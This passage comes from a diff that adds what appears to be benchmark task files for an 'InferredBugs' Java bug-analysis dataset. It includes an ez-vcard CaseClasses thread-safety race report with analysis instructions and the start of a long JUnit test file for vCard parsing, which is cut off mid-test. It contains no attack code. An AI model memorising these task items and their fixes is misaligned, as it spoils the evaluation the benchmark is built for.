+	 * @param createIfNotFound true to create a new instance of the object if it
+	 * can't be found, false to return "null" if not found
+	 * @param searchRuntimeDefined true to include the runtime-defined objects
+	 * in the search, false not to
+	 * @return the object
+	 */
+	protected T find(V value, boolean createIfNotFound, boolean searchRuntimeDefined) {
+		checkInit();
+
+		for (T obj : preDefined) {
+			if (matches(obj, value)) {
+				return obj;
+			}
+		}
+
+		if (searchRuntimeDefined) {
+			synchronized (this) {
+				for (T obj : runtimeDefined) {
+					if (matches(obj, value)) {
+						return obj;
+					}
+				}
+				if (createIfNotFound) {
+					T created = create(value);
+					runtimeDefined.add(created);
+					return created;
+				}
+			}
+		}
+		return null;
+	}
+
+	/**
+	 * Gets all the static constants of the case class.
+	 * @return all static constants
+	 */
+	public Collection<T> all() {
+		checkInit();
+		return preDefined;
+	}
+
+	private void checkInit() {
+		if (preDefined == null) {
+			synchronized (this) {
+				if (preDefined == null) { //duplicate if condition needed for concurrency purposes
+					init();
+				}
+			}
+		}
+	}
+
+	private void init() {
+		Collection<T> preDefined = new ArrayList<T>();
+		for (Field field : clazz.getFields()) {
+			int modifiers = field.getModifiers();
+			//@formatter:off
+			if (Modifier.isStatic(modifiers) &&
+				Modifier.isPublic(modifiers) &&
+				field.getDeclaringClass() == clazz &&
+				field.getType() == clazz) {
+				//@formatter:on
+				try {
+					Object obj = field.get(null);
+					if (obj != null) {
+						T c = clazz.cast(obj);
+						preDefined.add(c);
+					}
+				} catch (Exception ex) {
+					//reflection error
+					//should never be thrown because we check for "public static" and the correct type
+					throw new RuntimeException(ex);
+				}
+			}
+		}
+
+		runtimeDefined = new ArrayList<T>(0);
+		this.preDefined = Collections.unmodifiableCollection(preDefined);
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `ezvcard.util.CaseClasses.get` indirectly reads without synchronization from `this.ezvcard.util.CaseClasses.preDefined`. Potentially races with write in method `CaseClasses.find(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Object CaseClasses.get(Object)
+
+### Procedure Id:
+ezvcard.util.CaseClasses.get(java.lang.Object):java.lang.Object.0c9828541d13e758c5566d8178ee5666
+
+### File:
+src/main/java/ezvcard/util/CaseClasses.java
+
+### Key:
+CaseClasses.java|get|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+ff9424910a919cc9d97e0cbb14780a27
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7725/instruction.md b/inferredbugs-7725/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9be0e51cd75488f936fd2b9d5364ac61a9ee006f
--- /dev/null
+++ b/inferredbugs-7725/instruction.md
@@ -0,0 +1,2946 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ez-vcard
+**Bug ID:** 30
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package ezvcard.io;
+
+import static ezvcard.util.TestUtils.assertIntEquals;
+import static ezvcard.util.VCardStringUtils.NEWLINE;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import java.util.Arrays;
+import java.util.Calendar;
+import java.util.Date;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+import java.util.TimeZone;
+
+import org.junit.Test;
+
+import ezvcard.VCard;
+import ezvcard.VCardVersion;
+import ezvcard.parameters.AddressTypeParameter;
+import ezvcard.parameters.EmailTypeParameter;
+import ezvcard.parameters.ImageTypeParameter;
+import ezvcard.parameters.KeyTypeParameter;
+import ezvcard.parameters.TelephoneTypeParameter;
+import ezvcard.types.AddressType;
+import ezvcard.types.BirthdayType;
+import ezvcard.types.CategoriesType;
+import ezvcard.types.ClassificationType;
+import ezvcard.types.EmailType;
+import ezvcard.types.FbUrlType;
+import ezvcard.types.FormattedNameType;
+import ezvcard.types.GeoType;
+import ezvcard.types.KeyType;
+import ezvcard.types.LabelType;
+import ezvcard.types.MailerType;
+import ezvcard.types.NicknameType;
+import ezvcard.types.NoteType;
+import ezvcard.types.OrganizationType;
+import ezvcard.types.PhotoType;
+import ezvcard.types.ProdIdType;
+import ezvcard.types.ProfileType;
+import ezvcard.types.RawType;
+import ezvcard.types.RevisionType;
+import ezvcard.types.RoleType;
+import ezvcard.types.SortStringType;
+import ezvcard.types.SourceDisplayTextType;
+import ezvcard.types.SourceType;
+import ezvcard.types.StructuredNameType;
+import ezvcard.types.TelephoneType;
+import ezvcard.types.TimezoneType;
+import ezvcard.types.TitleType;
+import ezvcard.types.UidType;
+import ezvcard.types.UrlType;
+
+/*
+ Copyright (c) 2013, Michael Angstadt
+ All rights reserved.
+
+ Redistribution and use in source and binary forms, with or without
+ modification, are permitted provided that the following conditions are met: 
+
+ 1. Redistributions of source code must retain the above copyright notice, this
+ list of conditions and the following disclaimer. 
+ 2. Redistributions in binary form must reproduce the above copyright notice,
+ this list of conditions and the following disclaimer in the documentation
+ and/or other materials provided with the distribution. 
+
+ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+ ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+ The views and conclusions contained in the software and documentation are those
+ of the authors and should not be interpreted as representing official policies, 
+ either expressed or implied, of the FreeBSD Project.
+ */
+
+/**
+ * @author Michael Angstadt
+ */
+public class VCardReaderTest {
+	/**
+	 * Tests to make sure it can read sub types properly
+	 */
+	@Test
+	public void getSubTypes() throws Exception {
+		//@formatter:off
+		String str =
+		"BEGIN:VCARD\r\n" +
+		"VERSION:2.1\r\n" +
+		"NOTE;x-size=8:The note\r\n" +
+		"ADR;HOME;WORK:;;;;\r\n" + //nameless parameters
+		"LABEL;type=dOm;TyPE=parcel:\r\n" + //repeated parameter name
+		"END:VCARD\r\n";
+		//@formatter:on
+
+		VCardReader reader = new VCardReader(str);
+		VCard vcard = reader.readNext();
+
+		NoteType note = vcard.getNotes().get(0);
+		assertEquals(1, note.getSubTypes().size());
+		assertEquals("8", note.getSubTypes().first("X-SIZE"));
+		assertEquals("8", note.getSubTypes().first("x-size"));
+		assertNull(note.getSubTypes().first("non-existant"));
+
+		AddressType adr = vcard.getAddresses().get(0);
+		assertEquals(2, adr.getSubTypes().size());
+		assertEquals(2, adr.getTypes().size());
+		assertTrue(adr.getTypes().contains(AddressTypeParameter.HOME));
+		assertTrue(adr.getTypes().contains(AddressTypeParameter.WORK));
+
+		LabelType label = vcard.getOrphanedLabels().get(0);
+		assertEquals(2, label.getSubTypes().size());
+		assertEquals(2, label.getTypes().size());
+		assertTrue(label.getTypes().contains(AddressTypeParameter.DOM));
+		assertTrue(label.getTypes().contains(AddressTypeParameter.PARCEL));
+
+		assertEquals(0, reader.getWarnings().size());
+		assertNull(reader.readNext());
+	}
+
+	@Test
+	public void type_parameter_enclosed_in_double_quotes() throws Exception {
+		//@formatter:off
+		String str =
+		"BEGIN:VCARD\r\n" +
+		"VERSION:4.0\r\n" +
+		"ADR;TYPE=\"dom,home,work\":;;;;\r\n" +
+		"ADR;TYPE=\"dom\",\"home\",\"work\":;;;;\r\n" +
+		"ADR;TYPE=\"dom\",home,work:;;;;\r\n" +
+		"ADR;TYPE=dom,home,work:;;;;\r\n" +
+		"END:VCARD\r\n";
+		//@formatter:on
+
+		VCardReader reader = new VCardReader(str);
+		VCard vcard = reader.readNext();
+
+		AddressType adr = vcard.getAddresses().get(0);
+		assertEquals(3, adr.getSubTypes().size());
+		assertEquals(3, adr.getTypes().size());
+		assertTrue(adr.getTypes().contains(AddressTypeParameter.DOM));
+		assertTrue(adr.getTypes().contains(AddressTypeParameter.HOME));
+		assertTrue(adr.getTypes().contains(AddressTypeParameter.WORK));
+
+		adr = vcard.getAddresses().get(1);
+		assertEquals(3, adr.getSubTypes().size());
+		assertEquals(3, adr.getTypes().size());
+		assertTrue(adr.getTypes().contains(AddressTypeParameter.DOM));
+		assertTrue(adr.getTypes().contains(AddressTypeParameter.HOME));
+		assertTrue(adr.getTypes().contains(AddressTypeParameter.WORK));
+
+		adr = vcard.getAddresses().get(2);
+		assertEquals(3, adr.getSubTypes().size());
+		assertEquals(3, adr.getTypes().size());
+		assertTrue(adr.getTypes().contains(AddressTypeParameter.DOM));
+		assertTrue(adr.getTypes().contains(AddressTypeParameter.HOME));
+		assertTrue(adr.getTypes().contains(AddressTypeParameter.WORK));
+
+		adr = vcard.getAddresses().get(3);
+		assertEquals(3, adr.getSubTypes().size());
+		assertEquals(3, adr.getTypes().size());
+		assertTrue(adr.getTypes().contains(AddressTypeParameter.DOM));
+		assertTrue(adr.getTypes().contains(AddressTypeParameter.HOME));
+		assertTrue(adr.getTypes().contains(AddressTypeParameter.WORK));
+
+		assertEquals(0, reader.getWarnings().size());
+		assertNull(reader.readNext());
+	}
+
+	/**
+	 * All "quoted-printable" values should be decoded by the VCardReader.
+	 */
+	@Test
+	public void decodeQuotedPrintable() throws Exception {
+		//@formatter:off
+		String str =
+		"BEGIN:VCARD\r\n" +
+		"VERSION:2.1\r\n" +
+		"LABEL;HOME;ENCODING=QUOTED-PRINTABLE:123 Main St.=0D=0A\r\n" +
+		" Austin, TX 91827=0D=0A\r\n" +
+		" USA\r\n" +
+		"END:VCARD\r\n";
+		//@formatter:on
+
+		VCardReader reader = new VCardReader(str);
+		VCard vcard = reader.readNext();
+
+		LabelType label = vcard.getOrphanedLabels().get(0);
+		assertEquals("123 Main St.\r\nAustin, TX 91827\r\nUSA", label.getValue());
+		assertNull(label.getSubTypes().getEncoding()); //ENCODING sub type should be removed
+
+		assertEquals(0, reader.getWarnings().size());
+		assertNull(reader.readNext());
+	}
+
+	/**
+	 * Tests to make sure it can unfold folded lines.
+	 */
+	@Test
+	public void unfold() throws Exception {
+		//@formatter:off
+		String str =
+		"BEGIN:VCARD\r\n" +
+		"VERSION:2.1\r\n" +
+		"NOTE:The vCard MIME Directory Profile also provides support for represent\r\n" +
+		" ing other important information about the person associated with the dire\r\n" +
+		" ctory entry. For instance, the date of birth of the person\\; an audio clip \r\n" +
+		" describing the pronunciation of the name associated with the directory en\r\n" +
+		" try, or some other application of the digital sound\\; longitude and latitu\r\n" +
+		" de geo-positioning information related to the person associated with the \r\n" +
+		" directory entry\\; date and time that the directory information was last up\r\n" +
+		" dated\\; annotations often written on a business card\\; Uniform Resource Loc\r\n" +
+		" ators (URL) for a website\\; public key information.\r\n" +
+		"END:VCARD\r\n";
+		//@formatter:on
+
+		VCardReader reader = new VCardReader(str);
+		VCard vcard = reader.readNext();
+
+		String expected = "The vCard MIME Directory Profile also provides support for representing other important information about the person associated with the directory entry. For instance, the date of birth of the person; an audio clip describing the pronunciation of the name associated with the directory entry, or some other application of the digital sound; longitude and latitude geo-positioning information related to the person associated with the directory entry; date and time that the directory information was last updated; annotations often written on a business card; Uniform Resource Locators (URL) for a website; public key information.";
+		String actual = vcard.getNotes().get(0).getValue();
+		assertEquals(expected, actual);
+
+		assertEquals(0, reader.getWarnings().size());
+		assertNull(reader.readNext());
+	}
+
+	/**
+	 * Tests to make sure it can read extended types.
+	 */
+	@Test
+	public void readExtendedType() throws Exception {
+		//@formatter:off
+		String str =
+		"BEGIN:VCARD\r\n" +
+		"VERSION:2.1\r\n" +
+		"X-LUCKY-NUM:24\r\n" +
+		"X-GENDER:ma\\,le\r\n" +
+		"X-LUCKY-NUM:22\r\n" +
+		"END:VCARD\r\n";
+		//@formatter:on
+
+		VCardReader reader = new VCardReader(str);
+		reader.registerExtendedType(LuckyNumType.class);
+		VCard vcard = reader.readNext();
+
+		//read a type that has a type class
+		List<LuckyNumType> luckyNumTypes = vcard.getProperties(LuckyNumType.class);
+		assertEquals(2, luckyNumTypes.size());
+		assertEquals(24, luckyNumTypes.get(0).luckyNum);
+		assertEquals(22, luckyNumTypes.get(1).luckyNum);
+		assertTrue(vcard.getExtendedProperties("X-LUCKY-NUM").isEmpty());
+
+		//read a type without a type class
+		List<RawType> genderTypes = vcard.getExtendedProperties("X-GENDER");
+		assertEquals(1, genderTypes.size());
+		assertEquals("ma\\,le", genderTypes.get(0).getValue()); //raw type values are not unescaped
+
+		assertEquals(0, reader.getWarnings().size());
+		assertNull(reader.readNext());
+	}
+
+	@Test(expected = RuntimeException.class)
+	public void registerExtendedType_no_default_constructor() throws Exception {
+		VCardReader reader = new VCardReader("");
+		reader.registerExtendedType(BadType.class);
+	}
+
+	/**
+	 * Tests to make sure it can read multiple vCards from the same stream.
+	 */
+	@Test
+	public void readMultiple() throws Exception {
+		//@formatter:off
+		String str =
+		"BEGIN:VCARD\r\n" +
+		"VERSION:2.1\r\n" +
+		"FN:John Doe\r\n" +
+		"END:VCARD\r\n" +
+		"BEGIN:VCARD\r\n" +
+		"VERSION:3.0\r\n" +
+		"FN:Jane Doe\r\n" +
+		"END:VCARD\r\n";
+		//@formatter:on
+
+		VCardReader reader = new VCardReader(str);
+		VCard vcard;
+
+		vcard = reader.readNext();
+		assertEquals(VCardVersion.V2_1, vcard.getVersion());
+		assertEquals("John Doe", vcard.getFormattedName().getValue());
+		assertEquals(0, reader.getWarnings().size());
+
+		vcard = reader.readNext();
+		assertEquals(VCardVersion.V3_0, vcard.getVersion());
+		assertEquals("Jane Doe", vcard.getFormattedName().getValue());
+		assertEquals(0, reader.getWarnings().size());
+
+		assertNull(reader.readNext());
+	}
+
+	/**
+	 * Tests types with nested vCards (i.e AGENT type) in version 2.1.
+	 */
+	@Test
+	public void nestedVCard() throws Exception {
+		//@formatter:off
+		String str =
+		"BEGIN:VCARD\r\n" +
+		"VERSION:2.1\r\n" +
+		"AGENT:\r\n" +
+			"BEGIN:VCARD\r\n" +
+			"VERSION:2.1\r\n" +
+			"FN:Agent 007\r\n" +
+			"AGENT:\r\n" +
+				"BEGIN:VCARD\r\n" +
+				"VERSION:2.1\r\n" +
+				"FN:Agent 009\r\n" +
+				"END:VCARD\r\n" +
+			"END:VCARD\r\n" +
+		"FN:John Doe\r\n" +
+		"END:VCARD\r\n";
+		//@formatter:on
+
+		VCardReader reader = new VCardReader(str);
+
+		VCard vcard = reader.readNext();
+		assertEquals("John Doe", vcard.getFormattedName().getValue());
+		VCard agent1 = vcard.getAgent().getVCard();
+		assertEquals("Agent 007", agent1.getFormattedName().getValue());
+		VCard agent2 = agent1.getAgent().getVCard();
+		assertEquals("Agent 009", agent2.getFormattedName().getValue());
+
+		assertEquals(0, reader.getWarnings().size());
+		assertNull(reader.readNext());
+	}
+
+	@Test
+	public void nestedVCard_missing_vcard() throws Exception {
+		//@formatter:off
+		String str =
+		"BEGIN:VCARD\r\n" +
+		"VERSION:2.1\r\n" +
+		"AGENT:\r\n" +
+		"FN:John Doe\r\n" +
+		"END:VCARD\r\n";
+		//@formatter:on
+
+		VCardReader reader = new VCardReader(str);
+
+		VCard vcard = reader.readNext();
+		assertEquals("John Doe", vcard.getFormattedName().getValue());
+		assertNull(vcard.getAgent().getVCard());
+
+		assertEquals(0, reader.getWarnings().size());
+		assertNull(reader.readNext());
+	}
+
+	/**
+	 * Tests types with embedded vCards (i.e. AGENT type) in version 3.0.
+	 */
+	@Test
+	public void embeddedVCard() throws Exception {
+		//@formatter:off
+		String str =
+		"BEGIN:VCARD\r\n" +
+		"VERSION:3.0\r\n" +
+		"AGENT:" +
+			"BEGIN:VCARD\\n" +
+			"VERSION:3.0\\n" +
+			"FN:Agent 007\\n" +
+			"AGENT:" +
+				"BEGIN:VCARD\\\\n" +
+				"VERSION:3.0\\\\n" +
+				"FN:Agent 009\\\\n" +
+				"END:VCARD\\\\n" +
+			"END:VCARD\r\n" +
+		"FN:John Doe\r\n" +
+		"END:VCARD\r\n";
+		//@formatter:on
+
+		VCardReader reader = new VCardReader(str);
+		VCard vcard = reader.readNext();
+
+		assertEquals("John Doe", vcard.getFormattedName().getValue());
+		VCard agent1 = vcard.getAgent().getVCard();
+		assertEquals("Agent 007", agent1.getFormattedName().getValue());
+		VCard agent2 = agent1.getAgent().getVCard();
+		assertEquals("Agent 009", agent2.getFormattedName().getValue());
+
+		assertEquals(0, reader.getWarnings().size());
+		assertNull(reader.readNext());
+	}
+
+	/**
+	 * LABEL types should be assigned to an ADR and stored in the
+	 * "AddressType.getLabel()" field. LABELs that could not be assigned to an
+	 * ADR should go in "VCard.getOrphanedLabels()".
+	 */
+	@Test
+	public void readLabel() throws Exception {
+		//@formatter:off
+		String str =
+		"BEGIN:VCARD\r\n" +
+		"VERSION:3.0\r\n" +
+		"ADR;TYPE=home:;;123 Main St.;Austin;TX;91827;USA\r\n" +
+		"LABEL;TYPE=home:123 Main St.\\nAustin\\, TX 91827\\nUSA\r\n" +
+		"ADR;TYPE=work,parcel:;;200 Broadway;New York;NY;12345;USA\r\n" +
+		"LABEL;TYPE=work:200 Broadway\\nNew York\\, NY 12345\\nUSA\r\n" +
+		"END:VCARD\r\n";
+		//@formatter:on
+
+		VCardReader reader = new VCardReader(str);
+		VCard vcard = reader.readNext();
+
+		assertEquals(2, vcard.getAddresses().size());
+
+		AddressType adr = vcard.getAddresses().get(0);
+		assertEquals(1, adr.getTypes().size());
+		assertTrue(adr.getTypes().contains(AddressTypeParameter.HOME));
+		assertEquals("123 Main St." + NEWLINE + "Austin, TX 91827" + NEWLINE + "USA", adr.getLabel());
+
+		adr = vcard.getAddresses().get(1);
+		assertEquals(2, adr.getTypes().size());
+		assertTrue(adr.getTypes().contains(AddressTypeParameter.WORK));
+		assertTrue(adr.getTypes().contains(AddressTypeParameter.PARCEL));
+		assertNull(adr.getLabel());
+
+		assertEquals(1, vcard.getOrphanedLabels().size());
+		LabelType label = vcard.getOrphanedLabels().get(0);
+		assertEquals("200 Broadway" + NEWLINE + "New York, NY 12345" + NEWLINE + "USA", label.getValue());
+		assertEquals(1, label.getTypes().size());
+		assertTrue(label.getTypes().contains(AddressTypeParameter.WORK));
+
+		assertEquals(0, reader.getWarnings().size());
+		assertNull(reader.readNext());
+	}
+
+	/**
+	 * If the type's unmarshal method throws a {@link SkipMeException}, then a
+	 * warning should be added to the warnings list and the type object should
+	 * NOT be added to the {@link VCard} object.
+	 */
+	@Test
+	public void skipMeException() throws Exception {
+		//@formatter:off
+		String str =
+		"BEGIN:VCARD\r\n" +
+		"VERSION:3.0\r\n" +
+		"X-LUCKY-NUM:24\r\n" +
+		"X-LUCKY-NUM:13\r\n" +
+		"END:VCARD\r\n";
+		//@formatter:on
+
+		VCardReader reader = new VCardReader(str);
+		reader.registerExtendedType(LuckyNumType.class);
+		VCard vcard = reader.readNext();
+
+		List<LuckyNumType> luckyNumTypes = vcard.getProperties(LuckyNumType.class);
+		assertEquals(1, luckyNumTypes.size());
+		assertEquals(24, luckyNumTypes.get(0).luckyNum);
+
+		assertEquals(1, reader.getWarnings().size());
+		assertNull(reader.readNext());
+	}
+
+	@Test
+	public void invalid_line() throws Exception {
+		//@formatter:off
+		String str =
+		"BEGIN:VCARD\r\n" +
+		"VERSION:2.1\r\n" +
+		"bad-line\r\n" +
+		"END:VCARD\r\n";
+		//@formatter:on
+
+		VCardReader reader = new VCardReader(str);
+		reader.readNext();
+
+		assertEquals(1, reader.getWarnings().size());
+		assertNull(reader.readNext());
+	}
+
+	@Test
+	public void invalid_version() throws Exception {
+		//@formatter:off
+		String str =
+		"BEGIN:VCARD\r\n" +
+		"VERSION:invalid\r\n" +
+		"END:VCARD\r\n";
+		//@formatter:on
+
+		VCardReader reader = new VCardReader(str);
+		VCard vcard = reader.readNext();
+		assertEquals(VCardVersion.V2_1, vcard.getVersion()); //default to 2.1
+
+		assertEquals(1, reader.getWarnings().size());
+		assertNull(reader.readNext());
+	}
+
+	@Test
+	public void skip_non_vcard_components() throws Exception {
+		//@formatter:off
+		String str =
+		"BEGIN:VCALENDAR\r\n" +
+		"VERSION:2.0\r\n" +
+		"PRODID:-//Company//Application//EN" +
+		"END:VCALENDAR\r\n" +
+		"BEGIN:VCARD\r\n" +
+		"VERSION:3.0\r\n" +
+		"FN:John Doe\r\n" +
+		"END:VCARD\r\n";
+		//@formatter:on
+
+		VCardReader reader = new VCardReader(str);
+
+		VCard vcard = reader.readNext();
+		assertEquals(VCardVersion.V3_0, vcard.getVersion());
+		assertEquals("John Doe", vcard.getFormattedName().getValue());
+		assertNull(vcard.getProdId());
+
+		assertEquals(0, reader.getWarnings().size());
+		assertNull(reader.readNext());
+	}
+
+	@Test
+	public void evolutionVCard() throws Exception {
+		VCardReader reader = new VCardReader(getClass().getResourceAsStream("John_Doe_EVOLUTION.vcf"));
+		VCard vcard = reader.readNext();
+
+		//VERSION
+		assertEquals(VCardVersion.V3_0, vcard.getVersion());
+
+		//URL
+		{
+			Iterator<UrlType> it = vcard.getUrls().iterator();
+
+			UrlType t = it.next();
+			assertEquals("http://www.ibm.com", t.getValue());
+			assertEquals("0abc9b8d-0845-47d0-9a91-3db5bb74620d", t.getSubTypes().first("X-COUCHDB-UUID"));
+
+			assertFalse(it.hasNext());
+		}
+
+		//TEL
+		{
+			Iterator<TelephoneType> it = vcard.getTelephoneNumbers().iterator();
+
+			TelephoneType t = it.next();
+			assertEquals("905-666-1234", t.getText());
+			Set<TelephoneTypeParameter> types = t.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.CELL));
+			assertEquals("c2fa1caa-2926-4087-8971-609cfc7354ce", t.getSubTypes().first("X-COUCHDB-UUID"));
+
+			t = it.next();
+			assertEquals("905-555-1234", t.getText());
+			types = t.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.WORK));
+			assertTrue(types.contains(TelephoneTypeParameter.VOICE));
+			assertEquals("fbfb2722-4fd8-4dbf-9abd-eeb24072fd8e", t.getSubTypes().first("X-COUCHDB-UUID"));
+
+			assertFalse(it.hasNext());
+		}
+
+		//UID
+		{
+			UidType t = vcard.getUid();
+			assertEquals("477343c8e6bf375a9bac1f96a5000837", t.getValue());
+		}
+
+		//N
+		{
+			StructuredNameType t = vcard.getStructuredName();
+			assertEquals("Doe", t.getFamily());
+			assertEquals("John", t.getGiven());
+			List<String> list = t.getAdditional();
+			assertEquals(Arrays.asList("Richter, James"), list);
+			list = t.getPrefixes();
+			assertEquals(Arrays.asList("Mr."), list);
+			list = t.getSuffixes();
+			assertEquals(Arrays.asList("Sr."), list);
+		}
+
+		//FN
+		{
+			FormattedNameType t = vcard.getFormattedName();
+			assertEquals("Mr. John Richter, James Doe Sr.", t.getValue());
+		}
+
+		//NICKNAME
+		{
+			NicknameType t = vcard.getNickname();
+			assertEquals(Arrays.asList("Johny"), t.getValues());
+		}
+
+		//ORG
+		{
+			OrganizationType t = vcard.getOrganization();
+			assertEquals(Arrays.asList("IBM", "Accounting", "Dungeon"), t.getValues());
+		}
+
+		//TITLE
+		{
+			Iterator<TitleType> it = vcard.getTitles().iterator();
+
+			TitleType t = it.next();
+			assertEquals("Money Counter", t.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//CATEGORIES
+		{
+			CategoriesType t = vcard.getCategories();
+			assertEquals(Arrays.asList("VIP"), t.getValues());
+		}
+
+		//NOTE
+		{
+			Iterator<NoteType> it = vcard.getNotes().iterator();
+			NoteType t = it.next();
+			assertEquals("THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.", t.getValue());
+			assertFalse(it.hasNext());
+		}
+
+		//EMAIL
+		{
+			Iterator<EmailType> it = vcard.getEmails().iterator();
+
+			EmailType t = it.next();
+			assertEquals("john.doe@ibm.com", t.getValue());
+			Set<EmailTypeParameter> types = t.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(new EmailTypeParameter("work"))); //non-standard type
+			assertEquals("83a75a5d-2777-45aa-bab5-76a4bd972490", t.getSubTypes().first("X-COUCHDB-UUID"));
+
+			assertFalse(it.hasNext());
+		}
+
+		//ADR
+		{
+			Iterator<AddressType> it = vcard.getAddresses().iterator();
+
+			AddressType t = it.next();
+			assertEquals("ASB-123", t.getPoBox());
+			assertEquals(null, t.getExtendedAddress());
+			assertEquals("15 Crescent moon drive", t.getStreetAddress());
+			assertEquals("Albaney", t.getLocality());
+			assertEquals("New York", t.getRegion());
+			assertEquals("12345", t.getPostalCode());
+			//the space between "United" and "States" is lost because it was included with the folding character and ignored (see .vcf file)
+			assertEquals("UnitedStates of America", t.getCountry());
+
+			Set<AddressTypeParameter> types = t.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(AddressTypeParameter.HOME));
+
+			assertFalse(it.hasNext());
+		}
+
+		//BDAY
+		{
+			BirthdayType t = vcard.getBirthday();
+			Calendar c = Calendar.getInstance();
+			c.clear();
+			c.set(Calendar.YEAR, 1980);
+			c.set(Calendar.MONTH, Calendar.MARCH);
+			c.set(Calendar.DAY_OF_MONTH, 22);
+			Date expected = c.getTime();
+			assertEquals(expected, t.getDate());
+		}
+
+		//REV
+		{
+			RevisionType t = vcard.getRevision();
+			Calendar c = Calendar.getInstance(TimeZone.getTimeZone("UTC"));
+			c.clear();
+			c.set(Calendar.YEAR, 2012);
+			c.set(Calendar.MONTH, Calendar.MARCH);
+			c.set(Calendar.DAY_OF_MONTH, 5);
+			c.set(Calendar.HOUR_OF_DAY, 13);
+			c.set(Calendar.MINUTE, 32);
+			c.set(Calendar.SECOND, 54);
+			assertEquals(c.getTime(), t.getTimestamp());
+		}
+
+		//extended types
+		{
+			assertEquals(7, countExtTypes(vcard));
+
+			Iterator<RawType> it = vcard.getExtendedProperties("X-COUCHDB-APPLICATION-ANNOTATIONS").iterator();
+			RawType t = it.next();
+			assertEquals("X-COUCHDB-APPLICATION-ANNOTATIONS", t.getTypeName());
+			assertEquals("{\"Evolution\":{\"revision\":\"2012-03-05T13:32:54Z\"}}", t.getValue());
+			assertFalse(it.hasNext());
+
+			it = vcard.getExtendedProperties("X-AIM").iterator();
+			t = it.next();
+			assertEquals("X-AIM", t.getTypeName());
+			assertEquals("johnny5@aol.com", t.getValue());
+			assertEquals("HOME", t.getSubTypes().getType());
+			assertEquals("cb9e11fc-bb97-4222-9cd8-99820c1de454", t.getSubTypes().first("X-COUCHDB-UUID"));
+			assertFalse(it.hasNext());
+
+			it = vcard.getExtendedProperties("X-EVOLUTION-FILE-AS").iterator();
+			t = it.next();
+			assertEquals("X-EVOLUTION-FILE-AS", t.getTypeName());
+			assertEquals("Doe\\, John", t.getValue());
+			assertFalse(it.hasNext());
+
+			it = vcard.getExtendedProperties("X-EVOLUTION-SPOUSE").iterator();
+			t = it.next();
+			assertEquals("X-EVOLUTION-SPOUSE", t.getTypeName());
+			assertEquals("Maria", t.getValue());
+			assertFalse(it.hasNext());
+
+			it = vcard.getExtendedProperties("X-EVOLUTION-MANAGER").iterator();
+			t = it.next();
+			assertEquals("X-EVOLUTION-MANAGER", t.getTypeName());
+			assertEquals("Big Blue", t.getValue());
+			assertFalse(it.hasNext());
+
+			it = vcard.getExtendedProperties("X-EVOLUTION-ASSISTANT").iterator();
+			t = it.next();
